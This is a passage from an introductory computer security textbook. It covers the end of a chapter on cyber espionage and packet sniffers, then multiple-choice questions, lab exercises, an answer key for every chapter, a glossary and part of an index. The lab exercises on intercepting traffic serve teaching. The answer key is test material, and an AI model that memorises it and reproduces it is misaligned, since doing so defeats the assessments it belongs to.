One problem with attempting to collect data on cyber espionage or cyber terror is the fact that many stories may never be made public, and of those that are, it is likely that not all the facts are made public. In fact if one is truly successful in any espionage act, it never becomes public.

Packet Sniffers

Clearly, spyware is an important method of espionage attack. A key logger can record passwords and usernames, a screen capture utility can create images of confidential documents, and even cookies can reveal sensitive information. However, all of these items require software to be physically installed on the target system. A packet sniffer, however, need not be on the target system in order to gather information. A packet sniffer is an application that intercepts packets traveling on a network or the Internet and copies their contents. Some packet sniffers simply give a raw dump of the contents in hexadecimal format. Other sniffers are more sophisticated. We will look at a few of the most widely used packet sniffers here.

CommView

CommView is available for purchase from www.tamos.com/download/main/, but there is also a free trial version you can download at the same URL. In addition to basic packet sniffing, it also gives you statistics regarding any packets it captures. There is also a version of CommView for wireless packet sniffing as well. There is even a 64-bit version of this product. This particular product was originally developed specifically for use by security professionals. The vendor, TamoSoft, produces security products for a number of major companies like Cisco and Lucent. As we explore other packet sniffers, you will see that some of them were originally designed as tools for hackers. Recall in [Chapter 11](#) we used hackers' tools to analyze security vulnerabilities on your network.

When you first launch this product you will see a screen like the one shown in [Figure 17-1](#). From the toolbar or the various drop-down menus you can select a number of options including:

- Start Capture
- Stop Capture
- View Statistics
- Change Settings/Rules




FIGURE 17-1 CommView main screen

If you choose View Statistics, you see a screen like the one shown in [Figure 17-2](#). From this dialog box, you can elect to view protocol type, source/destination IP or MAC address, packets per second, and more. This sort of information is more useful for network analysis than for packet interception.




FIGURE 17-2 The CommView statistics

After you have initiated packet capture, you can view packets on the main screen, including the raw hexadecimal contents, as shown in [Figure 17-3](#). Once you have the hexadecimal contents of the packet, you can convert the hexadecimal data into actual readable text. The hexadecimal data is in ASCII format and can be converted to ASCII code, thus yielding the actual data contained in the packet. Note that this screenshot was taken from a live system, so some portions are redacted.




FIGURE 17-3 CommView packet data

EtherDetect

EtherDetect is a widely known and used Windows-based packet sniffer available at www.etherdetect.com/. It is unclear whether EtherDetect was originally developed for security professionals or for hackers. However, some of its features, such as the ability to focus on specific packets, seem more appropriate for hackers. This, however, makes it an excellent tool for a security professional to study. This packet sniffer is much simpler than CommView; however, it also is not as feature-rich. For example, it does not offer the statistical analysis or graphs of CommView, but for basic packet sniffing, it does just fine. In [Figure 17-4](#) you can see the output from EtherDetect, including the raw packet information.




FIGURE 17-4 EtherDetect

Wireshark

One of the most widely known packet sniffers is Wireshark. It is a free download from www.wireshark.org. It is available for both Windows and Macintosh. Aside from being free, there are good reasons that Wireshark is so popular. The first is the easy to use GUI. You can see that in [Figure 17-5](#).




FIGURE 17-5 Wireshark

The user can highlight any packet, then find out details of that packet, view the TCP stream associated with that packet, analyze the entire conversation, and much more. In addition to the relatively easy to use interface, there are a host of filters one can apply to drill down on exactly the data of interest. Wireshark provides a user's guide on their website, https://www.wireshark.org/docs/wsug_html/, and you can readily find a number of tutorials on the Internet.

What to Look for with a Packet Sniffer

A packet sniffer can be of use to either a hacker or a security professional. The hacker is, obviously, hoping first and foremost to get data from the packets. If your data is unencrypted, then it can be read right out of the packet. Secondly, she may be hoping to find out information about your network such as the IP address of servers, routers, or workstations. This information can be useful if she wishes to execute a DoS attack, IP spoofing, or many other forms of attacks.

For the security professional, there are many things you might use a packet sniffer for:

- Checking to see if your packets are encrypted.
- Checking to see if the encryption is strong enough.
- Establishing a baseline of normal activity on your network.
- Monitoring traffic when it exceeds the level of normal activity.
- Looking for malformed packets. These may signal a buffer overflow attempt.
- Monitoring a suspected attempted DoS in progress.

The specifics of configuring a packet sniffer are unique

to each product. However, most offer very simple instructions that any competent network administrator can follow. Virtually all packet sniffers display the following data:

- Source IP address of the packet
- Destination IP address of the packet
- Protocol of the packet
- Contents of the packet, usually in hexadecimal form

For some readers, getting information from hexadecimal form may be difficult. Remember that hexadecimal numbers can be easily converted to decimal with the free Windows calculator. Also many ASCII tables give hexadecimal and decimal. This is useful because the data you are viewing in a packet sniffer is, in most cases, simply ASCII codes. So once you convert the hexadecimal to its ASCII code you can put together the data.

SUMMARY

Computer-based espionage is the use of computers, networks, and telecommunications lines to attempt to illicitly acquire information. It is also possible for employees to use portable media to smuggle data out of an organization in order to give it to a third party. There are a variety of motivations for either activity, but regardless of the motivation, you must be aware of the threat to your system's data. Remember that the hardware is simply there to house the data; ultimately the data itself is the commodity.

There have been some low-level incidents of cyber terrorism. It also seems likely that there will be more such incidents in the future. Clearly the potential for such threats exists, and in this chapter we have examined some possible scenarios. We have also examined some actual events that have occurred. We have also examined the role computers and the Internet can play in information warfare. It seems likely, from anecdotal evidence, that such activities are already taking place.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. Which of the following best defines espionage?
 - A. The use of spies to acquire military information
 - B. The use of any technique to acquire military information
 - C. Any acquisition of any data via illicit means
 - D. The use of any technique to acquire any data of military or political value
2. Which of the following is not one of the recommended measures to prevent employee-based industrial espionage?
 - A. Remove all USB drives.
 - B. Monitor all copying from servers.
 - C. Have all employees sign confidentiality agreements.
 - D. Perform random polygraph tests.
3. Which of the following best defines cyber terrorism?
 - A. Computer crime that is directed at military installations
 - B. Computer crime conducted solely for political motivation

- C.** Computer crime that is directed at any government entity
 - D.** Computer crime conducted for political or ideological motivation
- 4.** Which of the following best defines a packet sniffer?
 - A.** A product that scans the Internet seeking out packets
 - B.** A utility that finds packets of a specific protocol
 - C.** A program that intercepts packets and copies their contents
 - D.** A program that provides statistical analysis of packet traffic
- 5.** Excessive network traffic between a server and a single workstation would most likely indicate what?
 - A.** The workstation has spyware on it.
 - B.** A large amount of file copying to the workstation is occurring.
 - C.** The workstation is sending a lot of e-mails.
 - D.** The server is not working correctly.
- 6.** What is the most likely damage from an act of

cyber terrorism?

- A.** Loss of life
- B.** Compromised military strategy
- C.** Economic loss
- D.** Disrupted communications

7. Which of the following is the most likely way in which cyber terrorism could lead to loss of life?

- A.** By causing a missile launch
- B.** By causing a plane to crash
- C.** By disrupting safeguards at a power or chemical plant
- D.** By electrical discharge through a computer keyboard

8. Without compromising highly secure systems, which of the following is not a likely way for a terrorist to disrupt military operations using hacking?

- A.** Hacking logistical systems and disrupting supplies
- B.** Monitoring information to derive information about troop and supply movement and locations
- C.** Causing (or stopping) the launch of a missile

- D.** Gleaning information about troop morale from unsecured communications
- 9.** Which of the following attacks may have been an example of domestic cyber terrorism?
- A.** The Sasser virus
 - B.** The Mimail virus
 - C.** The Sobig virus
 - D.** The MyDoom virus
- 10.** What differentiates cyber terrorism from other computer crimes?
- A.** It is organized.
 - B.** It is politically or ideologically motivated.
 - C.** It is conducted by experts.
 - D.** It is often more successful.
- 11.** Which of the following is the least likely reason the United States has not yet been the victim of a significant, large-scale cyber terrorist attack?
- A.** Terrorist groups underestimate the impact of such attacks.
 - B.** There are simply no people around with the requisite skills.
 - C.** The number of people with sufficient skills is small.

D. Because such an attack would be ineffectual and not cause much damage.

12. What is information warfare?

A. Only spreading disinformation

B. Spreading disinformation or gathering information

C. Only gathering of information

D. Any use of information to manipulate any political/military situation

13. Which of the following would not be considered information warfare?

A. Spreading lies about a political opponent via the Internet

B. Broadcasting messages into a hostile area that cast your viewpoint in a positive light

C. A factual political documentary

D. Sending false information in order to deceive a hostile group

14. If a group were using the Internet in information warfare, which of the following would be the least likely use?

A. To spread propaganda

B. To spread disinformation about opponents

- C. To plant slanted news stories
 - D. To directly recruit new members
15. Sending a false message with weak encryption, intending it to be intercepted and deciphered, is an example of what?
- A. Poor communications
 - B. Disinformation
 - C. A need for better encryption
 - D. Propaganda

EXERCISES

EXERCISE 17.1: Analyzing Incidents

1. Using the web or other resources, find any example of computer-based espionage or terrorism not already mentioned in this book.
2. Describe how the attack took place—what methods were used by the attackers?
3. Describe the effects of the attack. Were they economic, political, or social? Did they affect you personally in any way?
4. What steps might have been taken to prevent the attack?

EXERCISE 17.2: The Kosovo Crisis

- 1.** Using the web or other resources, research the use of cyber warfare as part of the Kosovo crisis.
- 2.** Describe the various cyber attacks you can find. What methods were used by the attackers?
- 3.** Describe the effects of the attack. Were they economic, political, or social? What effect might these attacks have had on you if you were living in Kosovo?
- 4.** What steps might have been taken to prevent the attack?

EXERCISE 17.3: Key Loggers and Espionage

- 1.** Recall from earlier chapters we discussed spyware and how it works. Specifically think about key loggers.
- 2.** Describe how key loggers might be used in spying and how serious you feel the danger is.
- 3.** How might you combat this threat?

EXERCISE 17.4: CommView

In earlier chapters we discussed encrypting

transmissions to prevent packet sniffers from picking them up. Also in this chapter we discussed packet sniffers in some detail. In a lab setting:

1. Download and install CommView on a lab computer.
2. Use it to intercept data sent between other lab computers.
3. Observe the data you pick up going across the network. Note how a packet sniffer can be used for espionage, especially if the data is not encrypted.

EXERCISE 17.5: Other Packet Sniffers

In earlier chapters we discussed encrypting transmissions to prevent packet sniffers from picking them up. Also in this chapter we discussed packet sniffers in some detail. In a lab setting:

1. Download and install EtherDetect or another packet sniffer on a lab computer.
2. Use it to intercept data sent between other lab computers.
3. Describe how a packet sniffer can be used for espionage, especially if the data is not encrypted.
4. Describe the data you intercepted. Could any of

the contents be considered sensitive or confidential?

5. How could you safeguard the lab's computers from this type of attack?

PROJECTS

PROJECT 17.1: Hackers and Espionage

Clearly, hacking techniques can be used in espionage (whether the espionage is political or economic in nature). Find a case of espionage in which hacking was used and carefully examine the techniques used. Describe the results of the case and preventative measures that should have been used. The following websites might be useful to you in this search:

- Hacking and Industrial Espionage:

<http://news.softpedia.com/news/industrial-espionage-hackers-targeted-companies-in-more-than-130-countries-507392.shtml>

- Corporate Espionage:

<http://www.economist.com/news/china/21572250-old-fashioned-theft-still-biggest-problem-foreign-companies-china-who-needs>

PROJECT 17.2: Information Warfare

Using the Internet, locate communications (websites, chat rooms, newsgroups, etc.) that you consider to be examples of information warfare. Explain what type of information warfare they are (disinformation, propaganda, etc.) and why you consider these to be examples of information warfare.

PROJECT 17.3: Cyber Terrorism Scenario

- 1.** Select one of the theoretical cyber terrorism scenarios presented in this chapter.
- 2.** Study it carefully, and then write a security and response plan that addresses the scenario and protects against that specific threat, the key being a plan against a specific threat. Whatever threat you select, you should provide details regarding what technologies should be used and what policies should be implemented to defend against that specific threat.

Appendix **A**

Answers

CHAPTER 1

- 1. D**
- 2. C**
- 3. B**
- 4. B**
- 5. C**
- 6. C**
- 7. D**
- 8. A**
- 9. C**
- 10. C**
- 11. C**
- 12. A**
- 13. A**
- 14. C**

15. B

16. A

17. B

18. B

19. B

20. C

21. D

CHAPTER 2

1. A

2. D

3. C

4. B

5. C

6. A

7. D

8. A

9. B

10. C

11. A

12. D

13. A

14. C

15. B

16. A and B

CHAPTER 3

1. C

2. D

3. B

4. A

5. D

6. C

7. C

8. A

9. C

10. D

11. B

12. C

13. A

14. B

15. C

16. B

CHAPTER 4

1. B

2. D

3. C

4. D

5. B

6. C

7. A

8. D

9. A

10. B

11. A

12. D

13. C

14. A

15. A

16. B

17. A

18. D

CHAPTER 5

- 1. A**
- 2. B**
- 3. B**
- 4. B**
- 5. C**
- 6. A**
- 7. D**
- 8. A**
- 9. C**
- 10. D**
- 11. C**
- 12. D**
- 13. A**
- 14. C**

CHAPTER 6

- 1. A**
- 2. C**
- 3. A**
- 4. B**

5. C

6. A

7. B

8. D

9. C

10. B

11. D

12. B

13. C

14. B

15. A

16. C

17. A

18. C

19. C

CHAPTER 7

1. B

2. B

3. D

4. C

5. A

6. B

7. A

8. A

9. A

10. B

11. B

12. B

13. A

14. D

15. B

16. B

17. A

CHAPTER 8

1. A

2. D

3. C

4. D

5. B

6. B

7. A

8. C

9. D

10. A

11. D

12. B

13. C

14. D

15. A

CHAPTER 9

1. A

2. C

3. C

4. D

5. B

6. B

7. A

8. A

9. A

10. D

11. A

12. B

13. D

14. C

15. A

16. B

CHAPTER 10

1. A

2. C

3. C

4. B

5. A

6. C

7. A

8. B

9. A

10. A

11. C

12. A

13. C

CHAPTER 11

- 1. C**
- 2. C**
- 3. C**
- 4. B**
- 5. C**
- 6. D**
- 7. D**
- 8. B**
- 9. C**
- 10. B**
- 11. B**
- 12. D**
- 13. B**
- 14. B**
- 15. B**

CHAPTER 12

- 1. A**
- 2. C**
- 3. C**

4. C

5. B

6. D

7. D

8. C

9. A

10. C

11. B

12. B

13. A

14. B

15. D

CHAPTER 13

1. C

2. B

3. C

4. D

5. B

6. A

7. C

8. D

9. D

10. C

11. B

12. C

13. A

14. C

15. B

CHAPTER 14

1. C

2. A

3. B

4. A

5. A

6. C

7. B

8. B

9. D

10. B

CHAPTER 15

- 1. D**
- 2. D**
- 3. C**
- 4. A**
- 5. A**
- 6. B**
- 7. A**
- 8. D**
- 9. A**

CHAPTER 16

- 1. C**
- 2. A**
- 3. B**
- 4. B**
- 5. D**
- 6. B**
- 7. B**
- 8. A**
- 9. D**

CHAPTER 17

- 1. C**
- 2. D**
- 3. D**
- 4. D**
- 5. B**
- 6. D**
- 7. C**
- 8. C**
- 9. D**
- 10. B**
- 11. B**
- 12. D**
- 13. A**
- 14. D**
- 15. B**

Glossary

Some terms in this glossary come from the hacker community and others from the security professionals' community. To truly understand computer security one must be familiar with both worlds. General networking terms are also included in this glossary.

A

access control: The process of limiting access to some resource only to authorized users, programs, or systems.

access control list: A list of entities, together with their access rights, that are authorized to have access to a resource.

access logout policies: Policies regarding how many login attempts should be allowed before the account is locked.

account policies: Policies regarding account settings.

admin: Short for system administrator.

AES: Advanced Encryption Standard, a modern symmetric cipher that is widely used.

anomaly detection: An intrusion-detection strategy that depends on detecting anomalous activities.

application gateway firewall: A firewall type that verifies specific applications.

ASCII code: Numeric codes used to represent all standard alphanumeric symbols. There are 255 different ASCII codes.

auditing: A check of a system's security, usually including a review of documents, procedures, and system configurations.

authenticate: The process of verifying that a user is authorized to access some resource.

Authentication Header (AH): A field that immediately follows the IP header in an IP datagram and provides authentication and integrity checking for the datagram.

B

back door: A hole in the security system deliberately left by the creator of the system.

banishment vigilance: Blocking all traffic from a

suspect IP address (i.e., banishing that address).

bastion host: A single point of contact between the Internet and a private network.

Bell-LaPadula Model: One of the oldest security models, based on the basic security theorem.

Biba Integrity Model: An older security model with similarities to Bell-LaPadula.

binary numbers: Numbers that use the base 2 number system.

binary operations: Operations on base 2 (i.e., binary) numbers. The operations include XOR, OR, and AND.

black hat hacker: A hacker with a malicious purpose, synonymous with cracker.

blocking: The act of preventing transmissions of some type.

Blowfish: A well-known symmetric block cipher created by Bruce Schneier.

braindump: The act of telling someone everything one knows.

breach: To successfully break into a system (e.g., “to breach the security”).

brute force: To try to crack a password by simply trying every possible combination.

buffer overflow: An attack that seeks to overwrite a memory buffer with more data than it is designed to hold.

bug: A flaw in a system.

C

Caesar cipher: One of the oldest encryption algorithms. It uses a basic mono-alphabetic cipher.

call back: A procedure for identifying a remote connection. In a call back, the host disconnects the caller and then dials the authorized telephone number of the remote client to re-establish the connection.

certificate authority: An agency authorized to issue digital certificates.

CHAP: Challenge Handshake Authentication Protocol, a commonly used authentication protocol.

Chinese Wall Model: An informational barrier preventing information flow between different groups within the same organization.

cipher: Synonym for cryptographic algorithm.

cipher text: Encrypted text.

circuit level gateway firewall: A firewall that authenticates each user before granting access.

CISSP: Certified Information Systems Security Professional. This is the oldest IT security certification and the one most often asked for in job ads.

Clark-Wilson Model: A subject-object model first published in 1987 that attempts to achieve data security via well-formed transactions and a separation of duties.

code: The source code for a program, or the act of programming, as in “to code an algorithm.”

Common Criteria: A set of standards for computer security. This is a fusion of United States Department of Defense standards with European and Canadian standards.

compulsory tunneling: Tunneling that is mandatory, not optional. This is in reference to VPN technologies. Some protocols allow the user to choose whether to use tunneling.

confidentiality of data: Ensuring that the contents of messages will be kept secret.

cookie: A small file containing data that is put on your machine by a website you visit.

cracker: One who breaks into a system in order to do something malicious, illegal, or harmful. Synonymous with black hat hacker.

cracking: Hacking with malicious intent.

crash: A sudden and unintended failure, as in “my computer crashed.”

CTCPEC: Canadian Trusted Computer Product Evaluation Criteria.

Cyber terrorism: Terrorism using computers, computer networks, telecommunications, or the Internet.

D

daemon: A program that runs in the background. Often used to perform various system services. *See also* service.

DDoS: Distributed denial of service, a DoS attack launched from multiple sources.

decryption: The process of un-encrypting an encrypted message.

DES: Data Encryption Standard, a symmetric cryptography algorithm first published in 1977, no longer considered secure due to the small key size.

digital signature: A cryptographic method of verifying a file or sender.

discretionary access control: An administrator's option either to control access to a given resource or simply allow unrestricted access.

discretionary security property: The policies that control access based on named users and named objects.

distributed reflection denial of service: A specialized type of DDoS that uses Internet routers to perform the attack.

DMZ: Demilitarized zone. A firewall type consisting of two firewalls with an intermediate zone between them.

DoS: Denial of service, an attack that prevents legitimate users from accessing a resource.

dropper: A type of Trojan horse that drops another program onto the target machine.

dual-homed host: A type of firewall that literally has two NICs.

dynamic security approach: An approach to security that is proactive rather than reactive.

E

EAP: Extensible Authentication Protocol.

encapsulated: Wrapped up.

Encrypting File System: Also known as EFS, this is Microsoft's file system that allows users to encrypt individual files. It was first introduced in Windows 2000.

encryption: The act of encrypting a message, usually by altering a message so that it cannot be read without the key and the decryption algorithm.

ESP: Encapsulated Security Payload, one of the two primary protocols (ESP and AH) used in IPSec.

ethical hacker: One who hacks into systems in order to accomplish some goal that he or she feels is ethically valid.

Evaluation Assurance Levels: Numeric levels (1 through 7) that define security assurance as defined in the Common Criteria.

executable profiling: A type of intrusion detection strategy that seeks to profile the behavior of legitimate executables and compare that against the activity of any running program.

F

false positive: An erroneous flagging of legitimate activity as an attempted intrusion by an intrusion detection device.

firewall: A barrier between the network and the outside world.

G

gray hat hacker: A hacker whose activities are normally legal but occasionally delves into activities that may not be legal or ethical.

Group Policy Objects: Objects in Microsoft Windows that allow you to assign access rights to entire groups of users or computers.

H

hacker: One who tries to learn about a system by examining it in detail and reverse engineering it.

handshaking: The process of verifying a connection request. It involves several packets going from client to server and back.

honeypot: A system or server designed to be very appealing to hackers, when in fact it is a trap to catch

them.

I

ICMP packets: Network packets often used in utilities such as Ping and Tracert.

infiltration: The act of gaining access to secure portions of a network. *See also* intrusion.

Information Technology Security Evaluation: Security guidelines created by the Commission of the European Communities, analogous to the Common Criteria.

information warfare: Attempts to influence political or military outcomes via information manipulation.

integrity of data: Ensuring that data has not been modified or altered and that the data received is identical to the data that was sent.

International Data Encryption Algorithm (IDEA): A block cipher designed as a replacement for DES.

Internet Key Exchange (IKE): A method for setting up security associations in IPSec.

intrusion: The act of gaining access to secure portions of a network. *See also* infiltration.

intrusion deflection: An IDS strategy that is dependent upon making the system seem less attractive to intruders. It seeks to deflect attention away from the system.

intrusion-detection system (IDS): A system for detecting attempted intrusions. Related to intrusion prevention systems (IPS) that block suspected attacks.

intrusion deterrence: An IDS strategy that attempts to deter intruders by making the system seem formidable, perhaps more formidable than it is.

IP: Internet Protocol, one of the primary protocols used in networking.

IPSec: Internet Protocol Security, a method used to secure VPNs.

IP spoofing: Making packets seem to come from a different IP address than they really originated from.

K

key logger: Software that logs key strokes on a computer.

L

L2TP: Layer 2 Tunneling Protocol, a VPN protocol.

layered security approach: A security approach that also secures the internal components of the network, not just the perimeter.

M

malware: Any software that has a malicious purpose such as a virus or Trojan horse.

Microsoft Point-to-Point Encryption: An encryption technology designed by Microsoft for use with virtual private networks.

mono-alphabet cipher: An encryption cipher using only one substitution alphabet.

MS-CHAP: A Microsoft extension to CHAP.

multi-alphabet substitutions: Encryption methods that use more than one substitution alphabet.

N

network address translation: A replacement technology for proxy servers.

network-based: A firewall solution that runs on an existing server.

network intrusion detection: Detecting any

attempted intrusion throughout the network, as opposed to intrusion detection that only works on a single machine or server.

NIC: Network interface card.

Non-repudiation: The process of verifying a connection so that neither party can later deny, or repudiate, the transaction.

null sessions: How Windows represents an anonymous user.

O

object: In reference to computer security models, an object is any file, device, or part of the system a user wishes to access.

open source: Software where the source code itself is freely available to the public.

operating system hardening: The process of securing an individual operating system. This includes proper configuration and applying patches.

P

packet filter firewall: A firewall that scans incoming packets and either allows them to pass or rejects them.

packet sniffer: Software that intercepts packets and copies their contents.

PAP: Password Authentication Protocol, the most basic form of authentication in which a user's name and password are transmitted over a network and compared to a table of name-password pairs.

passive security approach: An approach to security that awaits some incident to react to, rather than being proactive.

password policies: Policies that determine the parameters of a valid password including minimum length, age, and complexity.

penetration testing: Assessing the security of a system by attempting to break into the system. This is the activity most penetration testers engage in.

perimeter security approach: A security approach that is concerned only with securing the perimeter of a network.

PGP: Pretty Good Privacy, a widely used tool that has

symmetric and asymmetric algorithms, often used to encrypt e-mail.

phreaker: Someone who hacks into phone systems.

phreaking: The process of hacking into a phone system.

Ping of Death: A DoS attack that sends a malformed Ping packet hoping to cause the target machine to error out.

playback attack: This attack involves recording the authentication session of a legitimate user, and then simply playing that back in order to gain access.

port scan: Sequentially pinging ports to see which ones are active.

PPP: Point-to-Point Protocol, a somewhat older connection protocol.

PPTP: Point-to-Point Tunneling Protocol, an extension to PPP for VPNs.

proxy server: A device that hides your internal network from the outside world.

public key system: An encryption method where the key used to encrypt messages is made public and anyone can use it. A separate, private key is required to decrypt

the message.

Q

quantum encryption: A process that uses quantum physics to encrypt data.

quantum entanglement: A phenomena from quantum physics where two subatomic particles are related in such a way that a change to the state of one instantaneously causes a change to the state of the other.

R

resource profiling: A monitoring approach that measures system-wide use of resources and develops a historic usage profile.

Rijndael algorithm: The algorithm used by AES.

RSA: A public key encryption method developed in 1977 by three mathematicians, Ron Rivest, Adi Shamir, and Len Adleman. The name RSA is derived from the first letter of each mathematician's last name.

RST cookie: A simple method for alleviating the danger of certain types of DoS attacks.

S

screened host: A combination of firewalls; in this configuration you use a combination of a bastion host and a screening router.

script kiddy: A slang term for an unskilled person who purports to be a skilled hacker.

security template: Preset security settings that can be applied to a system.

service: A program that runs in the background, often performing some system service. *See also* daemon.

session hacking: The process of taking over the session between a client and a server in order to gain access to the server.

simple-security property: This means that a subject can read an object only if the security level of the subject is higher than or equal to the security of the object.

single-machine firewall: A firewall that resides on a single PC or server.

Slammer: A famous Internet worm.

Smurf attack: A specific type of DDoS attack that uses broadcast packets sent to a router on the target network.

sneaker: Someone who is attempting to compromise a system in order to assess its vulnerability. This term is almost never used today; instead the term penetration tester or ethical hacker is used.

sniffer: A program that captures data as it travels across a network. Also called a packet sniffer.

Snort: A widely used, open source, intrusion-detection system.

social engineering: The use of persuasion on human users in order to gain information required to access a system.

SPAP: Shiva Password Authentication Protocol, a proprietary version of PAP.

spoofing: Pretending to be something else, as when a packet might spoof another return IP address (as in the Smurf attack) or when a website is spoofing a well-known e-commerce site.

spyware: Software that monitors computer use.

stack tweaking: A complex method for protecting a system against DoS attacks. This method involves reconfiguring the operating system to handle connections differently.

stateful packet inspection: A type of firewall that not

only examines packets but also knows the context within which the packet was sent.

State Machine Model: A model that looks at a system's transition from one state to another. It starts by capturing the current state of a system. Later the system's state at that point in time is compared to the previous state of the system to determine whether there has been a security violation in the interim.

subject: In computer security models the subject is any entity that is attempting to access a system or data.

symmetric key system: An encryption method where the same key is used to encrypt and decrypt the message.

SYN cookie: A method for ameliorating the dangers of SYN floods.

SYN flood: Sending a stream of SYN packets (requests for connection) and then never responding, thus leaving the connection half open.

T

target of evaluation: Also TOE, an independent evaluation of a product to show that the product does, in fact, meet the claims in a particular security target.

threshold monitoring: Monitoring a network or system looking for any activity that exceeds some predefined limit or threshold.

transport mode: One of two IPSec modes, the transport mode works by encrypting the data in each packet but leaves the header unencrypted.

Tribal Flood Network: A tool used to execute DDoS attacks.

Trinoo: A tool used to execute DDoS attacks.

Trojan horse: Software that appears to have a valid and benign purpose but really has another, nefarious purpose.

trusted computing base: The TCB is everything in a computing system that provides a secure environment.

tunnel mode: One of two IPSec modes. The tunnel mode encrypts both the header and the data and is thus more secure than the transport mode but can work a bit slower.

V

virus: Software that is self-replicating and spreads like a biological virus.

virus hoax: A notification of a virus that is not true.

Often the notification attempts to convince the user to delete some critical file, claiming that file is a virus.

voluntary tunneling: Tunneling that allows the user to determine the parameters of a VPN tunnel.

W

war-dialing: Dialing phones waiting for a computer to pick up, usually done via some automated system.

war-driving: Driving and scanning for wireless networks that can be compromised.

well-formed transactions: Transaction in which users cannot manipulate or change the data without careful restrictions.

white hat hacker: A hacker who does not break the law, often synonymous with ethical hacker.

worm: A virus that can spread without human intervention.

X

X.509: A widely used standard for digital certificates.

INDEX

NUMBERS

2G, 435

3DES encryption, 111

3G, 436

4G, 436

56-bit cipher key (DES), 148

A

acceptance of risk, 314

access control

building access, 383–384

DAC (Discretionary Access Control), 208

defined, 28

MAC (Mandatory Access Control), 208

RBAC (Role Based Access Control), 208

security policies for, 303–304

Windows accounts, 207–208

AccessData Forensic Toolkit, 437

accounts

administrator, 206–207

- ASP.NET, 207
- database, 207
- IUSR_Machine name, 207
- lockout policies, 210
- user access/privileges, 207–208
- viewing, 203–205

ACK flag, 400

active code scanning, 247

Active Port, 335–336

active scanning

- enumeration, 403–406
 - FreeNetEnumerator, 405–406
 - NSAuditor, 403–404
 - ShareEnum, 405
- Nmap, 406–408
- NSAuditor, 400–402
 - enumeration, 403–404
 - Network Scanner, 401
 - opening screen, 400–401
 - Remote Explorer, 402–403
 - scan aggressiveness level, 402
 - scan types, 402
- Shodan.io, 408–410
- types of, 399–400
- ZenMap, 406

activism. *See* hacktivism

activities, 125

Adaptive Security Appliances (ASA), 114–115

Address Resolution Protocol (ARP), 9

addresses

IP (Internet Protocol), 4–8

IP spoofing, 59–60

IPv4, 4–6

IPv6, 7–8

loopback address, 5

public versus private, 7

MAC (media access control), 9

AddRoundKey step (AES), 151

Adleman, Len, 155

administrators

accounts, 206–207

defined, 125

domain admin privileges, 413

Advanced Encryption Standard (AES), 111,

151–152

Advanced Laboratory Workstation (ALW), 31–32

Advanced Persistent Threat (APT), 454

adware

characteristics of, 278–279

Gator, 279–280

AEJT (Arabian Electronic Jihad Team), 453

AES (Advanced Encryption Standard), 111,

151–152

Aggressive mode

IPSec negotiation, 188

Specter, 130

Akamai, 82

ALE (annualized loss expectancy), 313

alerts, 125

algorithms

Diffie-Hellman, 156–157

DSA (Digital Signature Algorithm), 157

ElGamal, 157

Elliptic Curve, 157

HAVAL, 162

MD5, 161

MQV (Menezes-Qu-Vanstone), 157

RIPEDM (RACE Integrity Primitives Evaluation
Message Digest), 162

RSA, 154–155

SHA (Secure Hash Algorithm), 161–162

ALW (Advanced Laboratory Workstation), 31–32

analyzers, 125

Anderson, Ross, 153

AND operation, 145

annual rate of occurrence (ARO), 313

annualized loss expectancy (ALE), 313

anomaly detection, 124–125

- anonymous access, 214–215**
- Anti-Spyware 2011 Trojan horse, 271**
- anti-spyware policies, 284**
- anti-spyware software, 280–284**
 - researching and comparing, 284
 - Spy Sweeper, 281–282
 - Zero Spyware, 283
- anti-virus policies and procedures, 258**
- anti-virus software, 248**
 - Avast Antivirus, 254–255
 - AVG, 65, 255
 - Kaspersky, 256
 - Malwarebytes, 257
 - McAfee, 248–250
 - Norton AntiVirus, 251–254
 - Panda, 257
- AP (Authentication Header), 187**
- Apache installation, 41–42**
- application gateways, 81–82**
- Application layer (OSI model), 14, 180**
- Application log, 426**
- appport.log file, 427**
- APT (Advanced Persistent Threat), 454**
- Aqua Book (DoD), 365**
- Arabian Electronic Jihad Team (AEJT), 453**
- archive.org, 398**

armored viruses, 244

ARO (annual rate of occurrence), 313

ARP (Address Resolution Protocol), 9

ASA (Adaptive Security Appliances), 114–115

ASP.NET accounts, 207

**Assessing Controlled Access Protection (DoD),
367**

assessment of system security. *See* security audits

assessment of threats, 15–18, 24–25

asset value (AV), 313

asymmetric algorithms

Diffie-Hellman, 156–157

DSA (Digital Signature Algorithm), 157

ElGamal, 157

Elliptic Curve, 157

MQV (Menezes-Qu-Vanstone), 157

RSA, 154–155

Atbash cipher, 143

attachments

scanning for viruses, 246

security policies for, 294–295

attacks, 40. *See also* decryption

adware

characteristics of, 278–279

Gator, 279–280

- buffer overflow attacks, 57–59
- classifications of, 18–19
- cyber terrorism, 444–445, 448
 - APT (Advanced Persistent Threat), 454
 - China Eagle Union, 454, 459
 - computer-based espionage, 445–447
 - defense strategies for, 455–456
 - economic attacks, 448–450
 - general attacks, 451–453
 - hacktivism, 454
 - national defense systems, 450–451
 - real-world examples, 459
 - seriousness of, 448
- DoS (denial of service), 22
 - attacking your own system, 52
 - DDoS (distributed denial of service), 45, 449
 - defending against, 56–57
 - DHCP (Dynamic Host Control Protocol)
 - starvation, 50
 - DRDoS (distributed reflection denial of service),
50–51
 - HOIC (High Orbit Ion Cannon), 52–53
 - HTTP (Hypertext Transfer Protocol) Post DoS
attacks, 50
 - ICMP (Internet Control Message Protocol)
 - flooding, 50

- LOIC (Low Orbit Ion Cannon), [52–53](#)
- PDoS (permanent denial of service), [50](#)
- PoD (Ping of Death), [49](#)
- real-world examples, [53–56](#)
- security policies for, [302](#)
- simulation of, [41–45](#)
- Smurf attacks, [48–49](#)
- SYN flooding, [45–47](#)
- tools for, [51–53](#)
- UDP (User Datagram Protocol) flooding, [49–50](#)
- underlying concept of, [41](#)
- information warfare, [456](#)
 - information control, [457–458](#)
 - propaganda, [456](#)
- intrusions, [21–22](#)
- IP spoofing, [59–60](#)
- likelihood of, [23–24](#)
- malware, [20–21](#)
- misuse of systems, [24](#)
- packet sniffers, [459](#)
 - CommView, [459–461](#)
 - EtherDetect, [461](#)
 - features and configuration, [463](#)
 - Wireshark, [462–463](#)
- physical access attacks, [411](#)
 - domain admin privileges, obtaining, [413](#)

- OphCrack, [412–413](#)
- passwords, bypassing, [411–412](#)
- ransomware, [56](#), [67](#), [243](#)
 - CryptoLocker, [56](#)
 - CryptoWall, [56](#)
 - defined, [243](#)
 - Linux.Encoder.1, [241](#)
- remote access attacks, [413](#)
 - cross-site scripting, [415](#)
 - SQL injection, [413–415](#)
- security policies for, [301–303](#)
- session hijacking, [60–61](#)
- spyware, [21](#)
